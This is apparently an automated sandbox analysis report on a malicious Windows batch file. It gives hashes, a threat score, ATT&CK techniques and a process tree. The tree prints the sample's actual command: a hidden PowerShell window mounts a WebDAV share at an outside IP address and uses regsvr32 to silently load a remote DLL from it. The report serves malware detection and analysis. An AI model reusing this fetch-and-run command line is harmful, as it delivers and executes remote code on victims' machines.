36dc7c49ff2b11d6a64393062d1e52981613a6cbcc108cbdb10ee89176f61b11

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
19/07/2024, 20:00

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General

Target

158686892482627479.bat
Size

11KB
MD5

c22dcfb899e5397b7e95109741260294
SHA1

a665343c06e321f42638a4cc267b5569ee6ca372
SHA256

36dc7c49ff2b11d6a64393062d1e52981613a6cbcc108cbdb10ee89176f61b11
SHA512

57202733dbff145f22a7a33ade0d8a0a243b9e864e5c1f3e9c01f30e50cf49e7507365f1e3a566e91bf1537b33185811817d817d1012f1b334c90a43723f8616
SSDEEP

192:qPNI47Xewdyf99BS991oEU5vQGfyf/GnvLS2yd2FxOwrZQT0G+6:8NIm3dyf99A99+EU5vQXnGnvLS2jFx1O

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1816	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1816	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1816	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1600	wordpad.exe
1600	wordpad.exe
1600	wordpad.exe
1600	wordpad.exe
1600	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 1720 wrote to memory of 1600	1720	cmd.exe	31
PID 1720 wrote to memory of 1600	1720	cmd.exe	31
PID 1720 wrote to memory of 1600	1720	cmd.exe	31
PID 1720 wrote to memory of 1816	1720	cmd.exe	32
PID 1720 wrote to memory of 1816	1720	cmd.exe	32
PID 1720 wrote to memory of 1816	1720	cmd.exe	32
PID 1816 wrote to memory of 2900	1816	powershell.exe	34
PID 1816 wrote to memory of 2900	1816	powershell.exe	34
PID 1816 wrote to memory of 2900	1816	powershell.exe	34
PID 1816 wrote to memory of 2996	1816	powershell.exe	35
PID 1816 wrote to memory of 2996	1816	powershell.exe	35
PID 1816 wrote to memory of 2996	1816	powershell.exe	35
PID 1816 wrote to memory of 2996	1816	powershell.exe	35
PID 1816 wrote to memory of 2996	1816	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\158686892482627479.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1720
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:1600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\28079212083825.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1816
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2900
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\28079212083825.dll
    3⤵
    PID:2996

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1816-21-0x000000001B520000-0x000000001B802000-memory.dmp

Filesize
2.9MB

Download
memory/1816-22-0x00000000027E0000-0x00000000027E8000-memory.dmp

Filesize
32KB

Download